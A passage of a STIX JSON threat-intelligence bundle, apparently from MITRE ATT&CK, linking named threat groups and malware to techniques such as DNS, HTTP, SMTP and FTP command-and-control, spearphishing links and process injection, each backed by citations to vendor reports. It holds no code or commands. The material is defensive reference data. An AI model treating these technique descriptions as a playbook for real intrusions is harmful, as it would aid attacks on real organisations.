            "type": "relationship",
            "modified": "2020-11-23T22:25:18.558Z",
            "created": "2020-03-17T01:45:59.371Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "source_name": "Unit 42 Magic Hound Feb 2017"
                }
            ],
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used IRC for C2.(Citation: Unit 42 Magic Hound Feb 2017)",
            "relationship_type": "uses",
            "id": "relationship--2b5af448-59a1-4888-a05f-aee6105872a5",
            "type": "relationship",
            "modified": "2020-03-17T01:49:09.432Z",
            "created": "2020-03-17T01:49:09.432Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
            "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b",
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "source_name": "FireEye APT30"
                }
            ],
            "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) can use HTTP to download resources that contain an IP address and port number pair to connect to for C2.(Citation: FireEye APT30)",
            "relationship_type": "uses",
            "id": "relationship--406afc1a-4ea7-45c5-b137-7784f9ed53f3",
            "type": "relationship",
            "modified": "2020-03-27T22:10:19.833Z",
            "created": "2020-03-17T01:57:57.302Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
            "description": "Adversaries can also use [NETEAGLE](https://attack.mitre.org/software/S0034) to establish an RDP connection with a controller over TCP/7519.",
            "relationship_type": "uses",
            "id": "relationship--32abb557-d923-4a6d-bda6-79a95063f298",
            "type": "relationship",
            "modified": "2020-03-17T01:57:57.336Z",
            "created": "2020-03-17T01:57:57.335Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Unit 42 NOKKI Sept 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018."
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) has used HTTP for C2 communications.(Citation: Unit 42 NOKKI Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--c5658d84-ba44-44ce-8174-49676e1426d1",
            "type": "relationship",
            "modified": "2020-03-17T01:58:31.396Z",
            "created": "2020-03-17T01:58:31.396Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b",
            "external_references": [
                {
                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "url": "https://pan-unit42.github.io/playbook_viewer/"
                },
                {
                    "source_name": "FireEye APT34 Webinar Dec 2017",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
                },
                {
                    "source_name": "FireEye APT34 July 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019."
                }
            ],
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used the Plink utility and other tools to create tunnels to C2 servers.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT34 July 2019)",
            "relationship_type": "uses",
            "id": "relationship--b6c44630-d1d0-467c-a84d-83564a3a0639",
            "type": "relationship",
            "modified": "2020-03-17T02:02:46.878Z",
            "created": "2020-03-17T02:02:46.878Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "external_references": [
                {
                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "url": "https://pan-unit42.github.io/playbook_viewer/"
                },
                {
                    "source_name": "FireEye APT34 Webinar Dec 2017",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
                },
                {
                    "source_name": "FireEye APT34 July 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019."
                }
            ],
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used DNS for C2.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT34 July 2019)",
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                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "source_name": "FireEye APT28"
                }
            ],
            "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) can use SMTP for C2.(Citation: FireEye APT28)",
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                {
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "source_name": "Dell TG-3390"
                }
            ],
            "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use DNS for command and control.(Citation: Dell TG-3390)",
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            "id": "relationship--b4947254-3a74-4708-a45c-65eff5bd9a2c",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                },
                {
                    "source_name": "FireEye APT34 Webinar Dec 2017",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
                }
            ],
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can use DNS for C2 communications.(Citation: FireEye APT34 Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)",
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            "id": "relationship--49363ea2-b33e-4cc4-a283-ab7d30530c27",
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            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
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                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "source_name": "Unit 42 QUADAGENT July 2018"
                }
            ],
            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses DNS for C2 communications.(Citation: Unit 42 QUADAGENT July 2018)",
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                    "source_name": "Kaspersky Regin",
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                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
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            "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform supports many standard protocols, including SMB.(Citation: Kaspersky Regin)",
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                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf",
                    "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.",
                    "source_name": "Symantec Remsec IOCs"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
                },
                {
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "source_name": "Kaspersky ProjectSauron Technical Analysis"
                }
            ],
            "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using DNS for C2.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)(Citation: Kaspersky ProjectSauron Technical Analysis)",
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                    "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.",
                    "source_name": "Symantec Remsec IOCs"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
                },
                {
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "source_name": "Kaspersky ProjectSauron Technical Analysis"
                }
            ],
            "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using SMTP for C2.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Unit42 SilverTerrier 2018",
                    "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise",
                    "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018."
                }
            ],
            "description": "[SilverTerrier](https://attack.mitre.org/groups/G0083) uses HTTP for C2 communications.(Citation: Unit42 SilverTerrier 2018)\t",
            "relationship_type": "uses",
            "id": "relationship--87cc66d0-7cab-4584-b86e-f2d56d492271",
            "type": "relationship",
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            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
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                {
                    "source_name": "Unit42 SilverTerrier 2018",
                    "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise",
                    "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018."
                }
            ],
            "description": "[SilverTerrier](https://attack.mitre.org/groups/G0083) uses FTP for C2 communications.(Citation: Unit42 SilverTerrier 2018)\t",
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            "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
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                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "source_name": "Palo Alto Sofacy 06-2018"
                },
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                },
                {
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "source_name": "ESET Zebrocy Nov 2018"
                },
                {
                    "source_name": "Unit42 Sofacy Dec 2018",
                    "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/",
                    "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019."
                },
                {
                    "source_name": "ESET Zebrocy May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
                },
                {
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018"
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses SMTP and POP3 for C2.(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)",
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            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
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                {
                    "source_name": "Talos ZxShell Oct 2014 ",
                    "url": "https://blogs.cisco.com/security/talos/opening-zxshell",
                    "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."
                }
            ],
            "description": "[ZxShell](https://attack.mitre.org/software/S0412) has used FTP for C2 connections.(Citation: Talos ZxShell Oct 2014 ) ",
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                    "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992",
                    "source_name": "TrendMicro Ursnif Mar 2015"
                },
                {
                    "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html",
                    "source_name": "FireEye Ursnif Nov 2017"
                },
                {
                    "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality",
                    "source_name": "ProofPoint Ursnif Aug 2016"
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used HTTP POSTs to exfil gathered information.(Citation: TrendMicro Ursnif Mar 2015)(Citation: FireEye Ursnif Nov 2017)(Citation: ProofPoint Ursnif Aug 2016)",
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            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
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                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "source_name": "ESET Gazer Aug 2017"
                },
                {
                    "url": "https://securelist.com/introducing-whitebear/81638/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "source_name": "Securelist WhiteBear Aug 2017"
                }
            ],
            "description": "[Gazer](https://attack.mitre.org/software/S0168) injects its communication module into an Internet accessible process through which it performs C2.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)",
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                    "source_name": "Trend Micro Banking Malware Jan 2019",
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                    "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."
                },
                {
                    "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.",
                    "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/",
                    "source_name": "Carbon Black Emotet Apr 2019"
                },
                {
                    "source_name": "IBM IcedID November 2017",
                    "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/",
                    "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has relied upon users clicking on a malicious attachment delivered through spearphishing.(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Carbon Black Emotet Apr 2019)(Citation: IBM IcedID November 2017)",
            "relationship_type": "uses",
            "id": "relationship--219dcd0b-a6fe-47d4-99b9-24d945b1f168",
            "type": "relationship",
            "modified": "2020-07-15T18:05:15.629Z",
            "created": "2020-03-17T13:31:00.273Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "FireEye APT39 Jan 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html",
                    "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."
                },
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has sent spearphishing emails in an attempt to lure users to click on a malicious link. (Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
            "id": "relationship--77e0980c-de43-48a8-8df3-b924f8d91b51",
            "type": "relationship",
            "modified": "2020-12-11T15:57:09.358Z",
            "created": "2020-03-17T13:51:08.173Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/",
                    "source_name": "Unit 42 Cobalt Gang Oct 2018"
                }
            ],
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails containing malicious links that require users to execute a file or macro to infect the victim machine.(Citation: Talos Cobalt Group July 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)",
            "relationship_type": "uses",
            "id": "relationship--9c8cf20d-b834-4460-a8a8-13d96c19d2ea",
            "type": "relationship",
            "modified": "2020-03-17T13:53:21.450Z",
            "created": "2020-03-17T13:53:21.450Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "external_references": [
                {
                    "source_name": "GitHub PowerSploit May 2012",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "url": "https://github.com/PowerShellMafia/PowerSploit"
                },
                {
                    "source_name": "PowerSploit Documentation",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "url": "http://powersploit.readthedocs.io"
                }
            ],
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of CodeExecution modules that inject code (DLL, shellcode) into a process.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "relationship_type": "uses",
            "id": "relationship--4bcd21d2-7583-4b82-8d33-2b153eeb6fdb",
            "type": "relationship",
            "modified": "2020-03-17T14:09:17.335Z",
            "created": "2020-03-17T14:09:17.335Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "source_name": "US-CERT APT Energy Oct 2017",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
                }
            ],
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has used various forms of spearphishing in attempts to get users to open links.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "relationship_type": "uses",
            "id": "relationship--1873b22f-d779-490c-8dce-e5d5167da619",
            "type": "relationship",
            "modified": "2020-03-17T14:14:36.933Z",
            "created": "2020-03-17T14:14:36.933Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                },
                {
                    "source_name": "CSM Elderwood Sept 2012",
                    "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.",
                    "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China"
                }
            ],
            "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has leveraged multiple types of spearphishing in order to attempt to get a user to open links.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)",
            "relationship_type": "uses",
            "id": "relationship--89672463-a201-43c7-a24a-1e6d7a1a188a",
            "type": "relationship",
            "modified": "2021-01-06T19:32:28.688Z",
            "created": "2020-03-17T14:16:23.897Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "FireEye Hacking FIN4 Dec 2014",
                    "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html",
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018."
                },
                {
                    "source_name": "FireEye Hacking FIN4 Video Dec 2014",
                    "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html",
                    "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019."
                }
            ],
            "description": "[FIN4](https://attack.mitre.org/groups/G0085) has lured victims to click malicious links delivered via spearphishing emails (often sent from compromised accounts).(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)",
            "relationship_type": "uses",
            "id": "relationship--822c5044-906d-4c4f-b350-49471beb03a8",
            "type": "relationship",
            "modified": "2020-03-17T14:20:19.916Z",
            "created": "2020-03-17T14:20:19.916Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "FireEye Obfuscation June 2017",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html",
                    "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
                    "source_name": "FireEye Fin8 May 2016"
                },
                {
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
                }
            ],
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has leveraged Spearphishing Links attempting to gain User Execution.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "relationship_type": "uses",
            "id": "relationship--5a374aec-ae82-4c99-bbc2-34c4050a9932",
            "type": "relationship",
            "modified": "2020-03-17T14:22:49.622Z",
            "created": "2020-03-17T14:22:49.622Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
